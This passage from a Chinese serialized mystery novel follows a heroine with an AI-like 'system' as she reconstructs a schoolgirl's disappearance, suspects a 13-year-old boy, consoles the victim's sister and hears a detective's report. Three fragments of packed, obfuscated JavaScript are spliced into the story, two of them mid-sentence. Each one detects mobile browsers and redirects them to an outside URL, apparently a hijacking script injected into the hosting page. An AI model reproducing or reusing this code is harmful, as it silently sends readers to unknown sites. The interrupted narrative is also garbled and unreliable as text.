而现在,这条几乎无人踏足的小路,竟然在交错中通往阴山另一头没有封路的地方,且发现了程小樱掉落的发夹。 凌逍摇头:“不,她没有迷路。小时候这片区域还并未完全荒废,有时候她会跑到这里玩捉迷藏,总是赢家。这样一个方向感很强的孩子,怎么会故意放学后跑来这里,又迷路了呢?” 她道:“你还记得学校监控的最后一个镜头吗?” 在那个镜头中,程小樱脸庞羞涩,带着快乐的笑意,像飞翔的小鸟一样蹦蹦跳跳地冲了出来。 “那是因为程小樱放学后要去的地方……从一开始,就根本不是什么阳街啊。” 即便是梁胜有着强烈的刑警直觉,也一开始就被转移模糊了调查焦点。 因为,这是被设计好的,特意让警方“看到”的【犯罪地点】。 那么,之前专案组的调查方向……怎么就被安排得明明白白,只重点调查学校到阳街之酒吧间直达的外侧小路呢? 还有,如果从一开始程小樱的目的地就不是什么酒吧,也不是阳街,那到底会是哪里呢? 本不充裕的光线在此刻愈发下斜暗淡,暗色中的一切都逐渐开始变得危险,远处隔着残墙露头的阴山,在此刻蒙上了森森阴影,好像危险的怪物。凌逍看了看时间,道:“夜里走山路太危险了,明天早上不去早餐店打工,直接顺着这条路,去阴山。” 系统:“现在呢?” 凌逍:“先回家吧,我饿了。也有点担心小梅。” 系统:“行吧,你赶紧的,记得任务一的ddl啊,还有不到48小时了。” 凌逍“嗯”了一声,忽然又问:“你知道前面的岔路,右边通往哪里吗?” 系统指路很迅速:“左边是往阴山去的,右边嘛,一条小路可以绕回学校,另一条,绕几个弯大概是砖厂街,就是与你家石头路隔了几条街的地方。 “咱们还是往大路走吧,回家时间都差不多。” “这样啊,但我偏不。”凌逍说道。 系统:……这祖宗是有点叛逆在身上的。 她开始向右侧小路行走,脚步飞快。她似乎脑子里就是地图,却不并不走系统规划的路线,反而照着某个直线方向毫不犹豫地在石头与泥土间飞奔,其间也没有忽视检查着是否还有其他被掩埋的线索。 如此大概几分钟,很快就遇到一堵将近两米高的、塌了一小半的墙。 这里是一条死路。 正当系统打算大开嘲讽时,却见凌逍拍手叹了一句“果然如此”,就麻利地踩着边缘,顺着坍塌的地方轻松跳了上去。 系统:…… 凌逍:“果然,体力好一点的、动作轻快的一点人,差不多都能做到。要知道,王燕红才不过一米五五的身高。” 系统一时不知道该怎么跟上凌逍思路。却见她走完一条奇怪的路线后,紧接着又来到一大片重叠交错的小路区域,完全看不到大路的影子。 系统不禁崩溃:“祖宗,你这到底是来到哪儿了啊?不是说先回家吗?” 凌逍好心慰问了系统的脑容量,然后继续穿梭。自从刚刚她开了疾走,看起来跑了很遥远的距离,实际总共花费的时间却并不多。算上凌逍时不时低头检查的时间,现在也不过5:13分而已,实际路程绝不超过8分钟。 凌逍指了指现在这条荒废小巷子的前方,左边大多是没人居住的废宅,右边的却是一排背面,隐隐有炊烟飘来,还能模糊听见外头路上行人的走路声、孩童牙牙学语声、锅碗瓢盆叮咚声、自行车颠簸的铃声。 “这不就到家了嘛,抄近路而已。正常回来要20分钟以上呢。” 凌逍看了看熟悉的斑驳后墙,它们是一栋栋连绵的老旧平房后面,背阴,角落长满了苔藓。其中一间似乎很久没有人打理了,落满了枯叶和垃圾。 这间显然是程小樱的家。 而旁边…… 她又走了几步,抬头。 不高不低的地方,有一扇小小的窗户。这明显是后面才打单独出来的,只为进入一点光亮和通风作用。为了万一有瘦小的小偷跑进来,还特意加了几根铁杆,乍一看真有点像铁窗泪。 因为,这里—— 咚,咚,咚。 虽然早就有所准备,但真正站在这里时,凌逍还是听到一股沉寂已久的声音在心中涌起。 她站在这里很久很久,下过雨后泥泞的路面没有任何脚印,这里似乎很长时间都不曾有人经过。但那扇小小的窗户就那样安安静静地,与自己对望着。 好像一张带笑的、方方正正的脸。 “这里有点眼熟,等我扫描下……”系统说道。 “不用了。”凌逍慢慢答。 她的声音在空荡荡的巷子里,有一种诡异的平静。 “这里是李耀成的房间后面。” 她说道。 …… 安安静静的。还没到放学时刻,没有人在里面。凌逍盯着这个约莫四五十厘米宽的小窗,看了很久很久。 系统一时有些宕机,它不知道凌逍到底是什么意思,但是再傻也能猜出来,凌逍是对这具身体的亲生儿子——抱有浓重的怀疑! 回想起凌逍的调查路线,它甚至能隐隐感觉到,从一开始……不,甚至是从第一次见面之前……凌逍的调查范围就没有完全离开过李耀成! 老天,她到底是什么时候开始怀疑的,怀疑一个年仅十三岁的孩子、而且甚至是身体的亲生儿子! 系统想起那个品学兼优的男孩子,电子音有点涩:“找到这条近路,又能说明什么呢?正常人并不会翻墙,更不会跳通风窗。” 凌逍:“你在和我讨论一个杀人案嫌疑人是否心理正常吗?” 系统:“他才十三岁,是个孩子!” 凌逍:“这世上有的孩子是孩子,但有的孩子,却是沾血的恶魔。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796615|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >系统急得跺脚,生怕这祖宗明天报错答案,任务直接宣布gg:“……这也不算证据啊。你到底要干嘛?” “当然在寻找一切可能了,”凌逍惊讶地反问,“不过,你跟我多久了,谁说这玩意叫证据了?!难道我要凭借一条正常人不会走的小路和窗户、一点猜测、一个发夹就宣布犯人是谁?警方很像傻子吗?我又很像什么烂尾推理小说的主人公吗?” “我要的,是完完整整、清清楚楚的证据链!” 又批评道:“先下结论再解答过程,你这可不是个好习惯啊,得改。” 系统:……啊对对对,解释权都归你! 她眯起眼,又看了看几眼那个小窗户,才继续前走。虽然到了后巷,但进屋子还得从主路上走大门。大概又走了7、8分钟,她才绕到了石头路的大路上。熟悉的铁门关闭着,凌逍拧钥匙的手顿了顿,进了院子。 现在5点多,正是饭点。凌逍想了想,打算进前屋看看程小梅是不是还在,想吃点什么。 “滴滴滴——” 就在此时,老式手机铃声突然回荡在院子里。 一阵冷风卷过,吹起树叶沙沙作响后飘过。伴着不断重复的单调音节、间隔规律的节奏,带着一股极其紧迫的催促,在这个小院中响起。 凌逍稳当当地接起电话。“梁警官,你去学校找了杨方?说吧,有什么新发现?他改口了?” “啊?你怎么知道……” 正是梁胜打来的电话。 她惊了一瞬,但很快恢复正常。只是语气十分迫切,仿佛看到了什么不该看的东西,还有着难以形容的愤怒与疑惑。 “你猜得没错,我回到了局里,先去查了当时所有人的笔录。这些内容我现在打包发给你的邮箱……” “其中,杨方几人的询问笔录很可疑,有串供的可能性。于是我又去学校单独再次询问杨方……” 梁胜顿了顿,怒道:“他最后改口,说那天他吃饭之后又去了酒吧——” “其实是程小樱,主动约他在那里见面的!” …… “这样啊。” 待梁胜讲述完那边的情况,许久之后,凌逍只是淡淡地如此回答。 她看起来一点儿也不惊讶。 她一边拿起手机,一边进屋打开二手电脑,目光飞速巡视在屏幕上的笔录上。一个个文字记录着那一日寻常的各自生活,其中又或许隐藏着虚虚实实的罪恶,只埋在矛盾的话语之下,等待有朝一日被彻底挖掘。 光线反射在脸上,照亮了凌逍的半边脸庞。 她没关注杨方的改口,只问了一个问题。 “梁警官,6月28日那天,举报酒吧的群众报警记录,你找到了吗?” 为什么她尤其关注这个问题呢? 梁胜不太理解,但还是迅速回答:“关于这件事,我正要和你说。时间太久远了,我私下请情报组的同事帮忙复原那段报警记录,但录音还是比较模糊……” “总之是一个从公共电话亭打来的,位置无法确定。” “公共电话?” “是的,应该自己改变了声线,但再怎么改,声音也很尖,很细,听起来……” “应该是个女人,我从来没听过这个声音,可能只是热心路人吧。” 女人? 霎那间,凌逍瞳孔一缩,紧抿的唇角随即转为耐人寻味的弧度。 这是一道时隔一年后传递的信息。 或者说,是一个缜密的、做了多层保险的,哪怕万一被人探查也无所畏惧的行动。 她是一种少见的、被挑战的感觉——仿佛就在拆开包裹的那一瞬,她看到明明标注着炸弹,里面其实藏着一个笑眯眯的玩偶,无声而笃定地询问你:亏你能找到这个包裹呀,算你有点水平,不很过可惜猜错了,这个游戏我玩得很开心。 但凌逍知道,这并不是一场轻飘飘的游戏。也没有人可以居高临下地将其定义为游戏。 这是一件真实发生的、一条鲜活生命消失的、许多人一辈子都被困在过往的凶杀案。 这是无法被原谅的,阳光下的罪恶。 凌逍:“梁警官,你知道吗?我这个人比较喜欢讲法律,讲证据。哪怕是已经有了几乎可以确定的猜测,但在没有证据的情况下,我绝不会放松对任何一个人的怀疑、或者仅凭借猜测就对某个人妄加下结论。” “不过,当我拿出确凿证据的那一刻,他就一定不会再有机会逃离法律的制裁了。” “把录音给我,”她说,“一天时间,我来让你看看,什么是真正的复原。” 12.凝固的时间(十二) 此时刑侦检测技术并没有发展到高超的地步,就连DNA技术也才引入不久,还需要送到省里检测样本。因此,仅仅是一段和案件并无联系的录音,县公安局是不可能花费大量人力物力去复原的。 等拿到录音后,凌逍用李英的破二手笔记本开始写程序,力图通过振峰、基频、至音强、音长、VOT等“声纹特征”进行二次处理,还原声音的本来的样子。声纹和指纹一样,无论怎么改变,都是可以识别的——凌逍这样和系统讲完,就抽时间来干活了,噼里啪啦的,手指飞舞在键盘上。 系统没权限干这活,凌逍也只能用这个时代的技术。但是一天的时间,足够这个简易程序慢慢复原、解析录音的原本声纹了。 旁边睡了一下午,终于元气基本恢复的程小梅:…… 不敢打扰。 只不过,不打扰是一回事,肚子饿又是一回事。眼看着挂钟时针指向6点,程小梅终于不好意思地掀开被子起床:“阿姨,谢谢您照顾我,我先回家了啊。耀成该放学了。” 她也是二中毕业的,知道放学时间。 凌逍一眨不眨地盯着屏幕:“噢,是该做饭了。想吃什么?要不干脆打电话叫饭店送过来吧。我想吃排骨了。” “呃,阿姨,您……” 凌逍:“别问,问就是我现在更年期,不接受小孩子反驳。” 她见程小梅犹豫不决,脸色还是苍白的,于是干脆三下五除二结束剩余工作,直接打电话叫餐馆送餐了。 “别担心,今晚就咱俩吃饭,”她笑着对程小梅安慰道:“你这么小,哪里就需要考虑这么多?还是说,怕接受好意,怕我花钱?” 程小梅被说中了心事,讷讷不言。 凌逍:“没事,死之前人至少要把钱花了,反正也带不走。你说是不是这么个道理?” 程小梅:“阿姨!!” 凌逍:“现在喜欢吃排骨了吗?” 程小梅:“……喜欢。” 系统插嘴:【怎么回事啊,说得好像知道自己快死了一样,就算任务结束了你也可以选择不脱离这个世界啊。你就不能换个问题?非得让孩子感觉晦气。】 【也许吧,毕竟命运有时候已经注定,我能做的顶多是让它发生一点点的偏移……不过你说的对,我换得个问题。】 凌逍十分听劝。 她拿出了记录本。 “程小梅,去年6月28号那天,你为什么去聚餐?” 系统:…… 这是刑侦的常用手段。首先用日常的问题迷惑被审讯人,放下心防,紧接着出其不意地询问案件问题。 警方此前并没有具体询问聚餐的情况,只是核实了程小梅的不在场证明,问了问回家后找人的情况、案发前家里有没有矛盾、有没有异常等等——毕竟是受害人家属,而且是感情非常好的亲姐妹。包括梁胜,也从来没问过聚餐之前的事情。 系统:【……好家伙,你把程小梅也列入嫌疑人对象?】 凌逍:【我说过,在拿到确凿证据之前,我不排除对每个人的怀疑,包括我自己。当然,我刚刚看完所有笔录,已经确定程小梅没有作案时间,她是可以相信的。】 系统:【那你?】 凌逍:【只是有个问题我需要核实……不仅仅是犯罪地点,连犯罪时间,都太过巧合了啊。】 为什么一定是6月28日呢?是随机的? 不,如果预谋很久的话,选择这一天一定有着精密的规划。 程小梅反射性地答:“因为高考成绩出来了,同学们自发组织去聚餐。” “为什么定在了那天?谁组织的时间?” 这回程小梅仔细回忆了一下,而后笃定地答:“是我们班的班长林新。” “你们班长?” “嗯,他去年考上了华大文学系,人很好,就是私下里会抽烟喝酒……对了,他还有个妹妹,和小樱恰好是一个班级。” “一个班级啊……”凌逍正在本子上记录,手忽然一顿,“你继续说。” “我记得他说……看到了开业酬宾的传单,说正好有个新开的酒吧,吃完饭想去的可以一起去喝酒,提前体验下成年人的生活。不过说是聚餐,去的人其实不多,很多人都出去旅游了,像我这样一直呆在家的人很少。” 凌逍在本子上的关系图上,重重地在酒吧上画了圈,略一思索,又用铅笔在旁边写了两个字——【传单】。 凌逍:“去年暑假,你一直呆在家吗?是有什么事吗?” 程小梅点头:“大部分时间吧,要在家做家务,也经常会去接小樱放学回家,一周大概三四次,倒也不确定。” 本子上铅笔再度落下,多了几个字,【调虎离山?】 “所以那天想到家里小樱在,爸妈下班又一直很晚,我就没有跟着班长过去酒吧。回到家的时候也快到7点了。然后就发现……小樱没在家。” 兜兜转转,竟然又是酒吧。 按照警方给出的调查记录,6月28日晚上7:30分,某个人在公共电话亭举报了阳街开业酒吧里面有人在“抽东西”。事关重大,警方一秒也没迟疑地要求最近的梁胜立刻赶往酒吧。 7点40分,梁胜赶到酒吧,后发现里面的人只是在抽水烟,但李英喝多了习惯性惹事打架,还有几个未成年学生混在里面,场面很混乱。于是当即从局里呼叫了支援,还把市监局的人也叫来了。 这一切处理完成、酒吧路口封路后,是晚上9点。就在那时,程家报警了失踪案。也正是因为如此,专案组顺理成章地把失踪时间锁定为6点05分到9点之间。 噢,笔录里显示,酒吧里混入的几个未成年学生——其中有一个人,就叫做林新,是个高考毕业生。 这个世界上,巧合是存在的。 但当巧合到所有事情都顺理成章的时候,就不再是巧合了。 几乎全部的线索都指向了同一个方向——一定有个人在背后堪称精妙地安排了这一切。可是完整的拼图,还缺少很重要的几块部分。 程小梅第一次回忆起这茬,连自己也愣了:“班长说的酒吧,该不会就是阳街……小樱很可能会去的那个酒吧??!” 凌逍点点头,又摇头:“是。但小樱她要去的并不是那里。” 自从昨天看了监控视频后,程小梅一直心绪不宁,不断想着为什么妹妹那天为什么没有回家?她到底为什么要去酒吧?听见这话,不禁噌地一下窜起来,祈求地拉住凌逍的衣袖。 “那她……” 凌逍:“暂时还不能告诉你。但我保证这一切,很快就会全部解释清楚的。你有权知道所有真相。” 程小梅颓然坐了回去,不言不语。 凌逍叹了口气,于是换个话题,仔细询问道:“这一年,吃好了吗?睡好了吗?都去过哪些城市,平时都是怎么找小樱的?” 只是很普通的询问。 但程小梅的眼泪又不自觉“唰”地一下掉了下来。曾经意气风发的天之骄子,在经历了格外疲惫、绝望的一年后,似乎变得很爱哭泣。尤其现在在这个人的面前…… 给她一种很熟悉、很温暖的感觉。 就像一切伤害还未曾发生的时候,她快乐地回到了家。 “我不知道……好像一切都是一场梦,明明去年夏天以前的记忆,我都非常非常清晰。可是这一年来……” “吃?睡?不,我已经吃不出食物的任何味道,也很少能够睡着,梦里都是小樱哭着喊姐姐救我的模样。不知道为什么,我似乎去了很多地方,做了很多事,发了很多传单,进了很多个村子。可很多时候,第二天我压根儿就记不得昨天做了什么。” “如果强迫自己回忆的话,一想起来的时候,这里”,她指了指自己的心脏,“就会疼,非常非常的疼。” “我和爸妈都在拼尽全力地寻找她啊。” 可是,好好的,怎么就把活生生的人给弄丢了呢? 程小梅本来想想擦眼泪的,谁成想越擦越多。她低垂着头,小声小声地哽咽着,好像找不到回家路的孩子,被困在原地打转儿。 凌逍无奈地摸了摸她的发顶:“你还在自责?” 听到这样温柔一问,那浅浅的抽泣逐渐放肆起来,变成了失声大哭,手腕上的纱布在激动动作下再次崩开。 “如果那一天,那一天我去学校接她……如果那天我没有出门……” 程小梅激动地锤砸着自己:“如果被伤害的是我,不是我的妹妹,该多好啊!” 凌逍道:“如果……吗?” 她将程小梅一把拥在怀里,像对待无忧无虑的小孩子一样,一下、一下地拍着她的背。 她慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799898|158311||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢地、耐心地引导起来。 “这是一种假设,我想要和你一起假设。” “比如说,如果一切不曾发生过,你现在会在哪里呢?” 哪里?程小梅抽抽嗒嗒,下意识答:“应该,应该在大学吧。” 应该每天在学校里和青春伙伴们学习、玩耍、欢笑,应该和他们炫耀着自己的妹妹是全天下第一可爱,应该蓬勃地展望着未来的每一天,每一天,都充满了希望。 “如果,事情结束以后,你会去哪里呢?” “我不知道……但如果一生都找不到小樱,我会用一辈子去寻找的。” “如果,小樱或许并不希望你用尽一生寻找呢?” 程小梅不由茫然起来,“小樱吗?不,她一定很害怕,一定在某个地方等着我找到她,一定希望我寻找。我是她的亲姐姐啊。” 凌逍轻轻拍着程小梅,微笑起来。 “这只是假设,我只说如果。” 她的声音,仿佛是家人临行前殷切的叮嘱,有一种悠长的回忆、感情藏在其中。 “我并不是神,有许多不明白的事情,也不能够完全清楚小樱最后的心愿……” 凌逍手掌一晃,掌心突然多出了一个古朴的铜质小铃铛,上面有着繁复的花纹。 她晃了晃,铃心似乎缺少了,一点儿声音没发出来。 “但换句话说,如果有一天我也从这个世界中突然消失,就并不会希望我爱的孩子们去穷尽一生寻找啊。” “寻找是一件非常痛苦的事情,看起来是在找一条出路,其实更像是被困在原地。” “当然,人非草木,谁能信誓旦旦地说,好呀好呀,如你所愿,这就彻底忘记呢?不,我并非要求丢掉共同的回忆,也并非要求抛弃愤怒与痛苦。只是我希望我所爱的孩子们,能够堂堂正正地面对过去与未来,有朝一日尝试原本她们该有的人生,而不是一直地被孤独地留在过去的时间中。” “如果哪天我突然消失了,大概就是这样最后希望的。” 程小梅不明所以,只是一股莫名地直觉促使她紧紧盯着那只铃铛。待凌逍手掌一翻、铃铛忽然消失之后,又隐隐中又有一股流淌的不舍与眷恋。 她不禁扯住凌逍的衣袖。 “阿姨……你说的是李耀成吗?他是个好孩子,应该也很爱你。他一定会和我一样,疯了一样去找人的。” 凌逍像是听见了什么玩笑,忽然哈哈大笑起来,可那笑声中有一股奇异的悲伤,却不知是为了谁。 凌逍并没有回应这句话。 程小梅心有不安,抬起头,眼眶湿润地仰视着对方。 “小梅,你知道吗?”笑了一会儿,凌逍很轻地拍了拍程小梅的手,回握住。 “很难的事情,由大人来做,就足够了。” 她道:“这就是我在这里的理由啊。” …… 梁胜一进前屋的门,就闻到了一股香喷喷的排骨味,一看是有名的餐馆外送。又是包子、又是排骨,还都不是自己做的,这个人,可真是,真是…… 凌逍:“梁警官,忙了一天,吃了没?没吃也没办法,我和小梅都吃完了。” 梁胜:“……你儿子李耀成不在?怎么回事,不是放学了吗?” 凌逍制止程小梅帮忙的动作,一边收着桌子一边道:“噢,我让他今天在外面自己吃完饭再回来。所以,”她看了看表,“他大概还有半个小时回来。你来得正好。” 不在家,却又很快回来?这怎么算来得正好?梁胜神色复杂,总觉这是对方早就设计好的。 不过她倒也没纠结这个:“小梅,你在这里继续躺着休息,我们两个去别的地方说话。” “不要,我想听一听……”程小梅正想拒绝,却见凌逍微微冲她点头,于是乖巧答,“好的,阿姨,梁警官。” 凌逍带着梁胜直接来到了后屋。经过厨房,里面就是李耀成的房间。梁胜不知掉俩人为什么非要在人家学生的房间聊天,但看着整整齐齐的屋子、满满当当的书架,心下也不由赞叹了下。 两人就在书桌前坐下,凌逍打开记录本。 她开门见山地问:“梁警官,初二(三)班那边具体是什么情况?” 梁胜深吸一口气。 “说来话长。具体情况,比我想象的可能还要复杂许多……” 13.凝固的时间(十三) 时间回到今天下午。 短短一天内,梁胜着实经历了太多,堪称从警生涯以来最难以形容的一天。但隐隐有一种直觉告诉她——这桩埋藏太久的悬案,也许很快就会迎来水落石出的一天了。 她回到局里,翻出烂熟于心的笔录,又仔细了看了一遍,试图按照凌逍的分析方式寻找其他忽略的细节,却也只能发现杨方的矛盾之处。 梁胜:可恶,学不来啊。 然后偷偷摸摸去找情报组的同事,要了去年的报警记录。 “你要这东西干嘛,私下行动?”正好队长过来,不由分说地喝止了一通,“市领导早就要求我们专案组解散了,你的调查权限也取消了。那么多等着办的案子,你是不是还没放下对【6.28失踪案】的执念?” 反正隐瞒不住了,梁胜憋着眼泪大声说:“是!我已经说过很多次,这很可能是一起凶杀案,我绝不会放弃一丝可能!如果不能提前制止一切犯罪,那就让犯罪之人罪有应得,让受害人家属得以抚慰,这才是我从警的理由!” 队长盯了她好一会儿,冷冰冰地摆摆手。梁胜心里一凉,却见队长大步走了,只留下这样一句话。 “就当我没来过,什么也没看见。” “警察证和警具……记得带,小心点。” 梁胜不由破涕为笑。 下午五点左右,梁胜来到二中。三楼的走廊上空空荡荡,唯独初二(三)班格外的吵闹,似乎有一场嘈杂喧嚣正在教室中上演。 杨方脚步虚浮地出来了,梁胜惊奇地打量着这个她心中的头号犯罪嫌疑人。14岁的他人高马大,明明一股不良少年的派头,但不知发生了什么,面色通红、气喘吁吁,神情明显有一种丧家之犬的惶然,神经似乎被什么东西逼迫到了极致。 梁胜:“我是公安局刑侦大队的梁胜。杨方,还记得我吗?” “我们重新调查了去年6.28失踪案,发现晚上7点40分你正好出现在了阳街酒吧的监控角落……说吧,当时你为什么说谎?你知道做伪证的后果吗……” 话音还未落,大只的小伙子便莫名其妙大哭了起来,拉住她的衣角。 梁胜:“……喂,不要动手动脚,好好回答警察的问题!” 不知道为什么,许多个脑袋从教室窗户探出来,指指点点,兴奋又害怕,夹杂着人云亦云的点评,隐约有“杀人犯活该”“一看就不是好人”“警察果然来了”的窃窃私语,顺着冷风传到走廊。 梁胜心中一跳,直觉教室里面有什么不对的情况,快速拉住杨方走到老师办公室:“在这儿说。” 杨方抽抽嗒嗒,一五一十地说了,神情再诚恳不过。 按照杨方的说法,事情是这样的。6月28日放学前几分钟,程小樱突然给杨方扔了一张纸条,上面写着“晚上7点半,阳街酒吧大门口见,为你庆祝生日,顺便聊一聊我们的关系。这件事不要让任何人知道呀。” 杨方也不知道程小樱为什么突然在放学前扔这样的纸条,明明可以放学时候当面说的。不过上面很像她歪歪扭扭的字迹,也是从她的方向扔过来的,上面还落款了,那就肯定是程小樱的意思了。 杨方怕别人发现,就没有回复,也立刻把纸条撕碎了。6点钟放学的钟声响起,他就见到程小樱一个人飞快冲出了教室。 “我真的早就和朋友约好去阳街头的饭馆吃饭了,因为那天是我生日。吃完了大约7点,大家都说天黑了必须回家了,我就说自己也有事,先走了。对不起警官……我,我说谎了!”杨方说着说着,竟然嚎啕大哭起来。 “第二天知道程小樱失踪了,还有传言说她被杀了,我心里实在害怕啊。如果被人知道她约我见面,我是不是就会成为嫌疑人?是不是班里同学会用别的眼神看我?所以去年我不敢说实话…… “7点以后,我其实一直在阳街附近溜达。我很想去见程小樱,但又不敢去,万一被别人看见了,岂不是影响我作为大哥的地位……于是磨蹭到了7点半才掐点到门口,又离得很远,可是程小樱并不在门口……” “我又等了大概十分钟,看见警车就来了,我就赶紧溜回家。” 梁胜并不理解中二少年复杂细腻的内心世界,以及所谓的大哥脸面情怀。这几句话到了她耳朵里,很快就被自动翻译成了“7点到7点40杨方自称在阳街附近没见到程小樱,但没有确切不在场证明。” “你这次是不是也对我说谎了!” “嗯……”杨方哭唧唧地,下意识点点头,反应过来后又拼命摇头:“不是!我没有说谎!” 梁胜又厉声喝道:“你和程小樱是什么关系?她为什么约你见面?” 杨方咬死了嘴唇,眼神晃了晃,摇头:“没什么关系,我也不知道。” 啪——梁胜狠狠地拍了拍桌子,大声问:“老实回答!” 这声音极具震慑性,一下子扩散在整个办公室,惊得窗外的飞鸟也扑簌簌离开了。在这个巨大的声音中,杨方似乎神经被逼到极致,“哇”地一声—— 哭晕过去……晕过去……了。 梁胜:“……” 凌逍:“……” 面面相觑.jpg “呃,发生这样的事情我也不想的,”梁胜挠挠头,“校医也来了,说就是惊吓过度,睡一觉就好了。但是……”明天队长要是知道的话,一定要写检讨书了吧…… 凌逍幽幽地叹了口气:“这孩子,我记得我姐姐是个很精明能干的女人,当年和我家因为钱的事情撕得不可开交,怎么儿子就这么外强中干呢。” 感慨了下姐姐那边的家庭教育问题,凌逍很快回归到重点上。“所以你后来问出他们之间的关系了吗?另外几个男生有提到吗?” “问出来了。我想着来都来了,另外几个男生再分别询问下。他们几个一出来,就主动交代了那天的情况,说是杨方要求他们说谎的。除了杨方并没有回家的这个情况,其他倒算不上伪证。” 说到这里,梁胜的脸上浮现一丝不解:“但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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当这件凶杀案离真相越来越近时,梁胜更加不敢小觑所谓的小孩子,深以为然:“是啊,青少年的感情绝不能小看。他们不是谁的附属,他们也有自己的思想,有自己的爱恨,并且往往比大人更加热烈浓厚。” “尤其现在小孩子青春期早已提前,成长得很快。初中生,已经可以作为大人来对待了啊。” 凌逍:“可是刑法上依旧规定14岁才负刑事责任。” 梁胜一愣,随后苦涩一笑:“是,我也想过这个问题。随着时间的变化,以后也许会改变吧。我不太会特意去想法律是如何制定的,我只知道,作为警察,我有职责处理好每一个案件。无论最后法律是否能够制裁他们,我都有职责去还原真相,给小樱、小梅一个交代。” “言归正传,”梁胜继续道:“依我的看法,爱与恨,很可能这就是杨方的杀人动机。毕竟他没有完全的不在场证明……” 正说着,就看见凌逍凝视本子,又快速将【爱?恨?】细线划掉,改成了【扭曲的占有欲】这几个字。 梁胜:…… 啊?扭曲的占有欲? 是说杨方吗? 那个自称大哥,中二脆皮、哭晕了的杨方? 呃……倒也不必用这么高级的词汇去形容他吧? 14.少年犯(十四) 凌逍在本子上不断补充奇怪的词语,梁胜虽然看不明白,但也心知这一定是案件的关键思路。 上学的时候,梁胜就是典型的出了考场第一时间对答案的好学生。此刻,她交了卷,迫不及待地想要知道自己的答案是否正确。 梁胜开始沉着地分析起来。 “现在按照我的猜测,案件经过应该是这样的。如果程小樱真的给杨方传了纸条,那么大概他们相约的地点就是酒吧,这也能完全解释为什么她主动往阳街的方向走。程小樱可能没有出现在监控摄像头附近,但是杨方找到了她。” “在7点到7点40左右的长时间里,杨方并没有充足的不在场证明。他完全可以利用这个时间段,与程小樱在什么其他地方见面汇合。两个人或者发生了什么冲突,比如杨方求复合不成,一怒之下将人杀害,然后抛尸到了某个地方……” “当然,如果并不存在这样的纸条,就可能是杨方事先设计的谎言,让程小樱主动去阳街上某个隐蔽地方,甚至可能离开了大路。他吃完饭后借口有事离开,找到她,有预谋地将其杀害。” “至于尸体的位置,只要锁定嫌疑人,我们就一定能够问出来的!” 梁胜一边分析,一边越说越通顺,似乎那些曾经让她费解的矛盾,这样逐渐层层剥茧下来,就全都能解释得通顺了。 是啊,调查了那么多次,日夜反复揣摩,这起案件的一切细节都历历在目。大部分相关人士都有完美的不在场证明,但杨方没有;所有人都与程小樱没有什么仇怨,但杨方曾经与她交往又被分手,有合理的动机;他爱打架,脾气火爆,性格冲动,又十分好面子,此前还对警方说过谎。 他是个再完美不过的嫌疑人了。 再加上梁胜在初二(三)班所亲耳听到、亲眼见到的那些事情…… 一种即将找到犯人的激动,在血液中沸腾流淌。尤其当这一切是经过一整年的沉默困顿之后,通过重新挖掘各种细节才艰难找到的线索,虽然不多,但指向性已经很明显了。经千辛万苦后才自发得到的推论,足以推翻“失踪案”专案组的结论了——也许,这才是真相! “梁警官。我有个问题要问你。” 就在此时,凌逍温和出声。 这个人似乎总是有很独特的其他的想法,却又包容甚至是鼓励式地看着梁胜滔滔不绝地分析,并在最激动的时刻适时制止。 梁胜沸腾的血液、发烫的头脑,就在这样的目光中忽然冷静下来。 而彻底冷静下来后,那股曾经拯救她无数次的直觉,便开始隐隐冒头了。 在没有任何拐卖或凶杀证据的情况下,专案组解散,以失踪案宣告了这起案件结果。只有梁胜凭借着这股直觉,孜孜不倦地试图寻找另一个真相。是这股直觉让她追查到了现在,但反过来…… 如果直觉被人利用了呢? 如果像这个人之前所说的,所谓的【犯罪地点】和【犯罪时间】,甚至是嫌疑人……都是特意让自己“看见的”呢? 梁胜听见自己干涩的声音:“什么问题?” 凌逍的问题很简单,却一如既往有着很奇怪的关注点:“为什么杨方今天突然和几个男生坦白了他被甩的事情?” 梁胜答道:“并不是只跟那几个男生的。因为今天班级里发生了一起骚乱。在骚乱中,杨方一不留神说溜了口。” 当时几个小跟班就是这样说的。在最后一节自习课,梁胜正要离开二中的时候,还有不少其他初二(三)班的学生借口上厕所偷偷溜过来提供线索,与几个小跟班的话完全一致。 “他平时就不是什么好人,今天说漏了嘴,肯定就是凶手!”当时学生们信誓旦旦地对梁胜说。 凌逍沉吟片刻,追问道:“什么骚乱?起因是谁和谁发生了冲突吗?” 这与案子分明无关呀。梁胜一愣,有种被老师抽查作业的错觉,但还好她有着搜集一切资料的习惯与强烈直觉,提前做了功课。 “是——杨方与李耀成之间的冲突。” 她想起自己所亲耳听到的、学生们不约而同的话,于是更加笃定,开始详细复述自己听到的一切。 “或者说,是杨方主动挑事的,李耀成是受害者……” 梁胜想,这应当是很客观的描述了。 …… 铅笔重重地落在纸张上,发出刺耳的摩擦声。 手腕的力道太大,以至于笔尖断了又断,字迹显示出一种不规则的参差边缘。 “是吗。” 沉默一会儿后,凌逍低声开口道。 她久久地,凝视着本子最后写上的四个小字。 心理操纵。 很巧妙的,集体心理操纵。 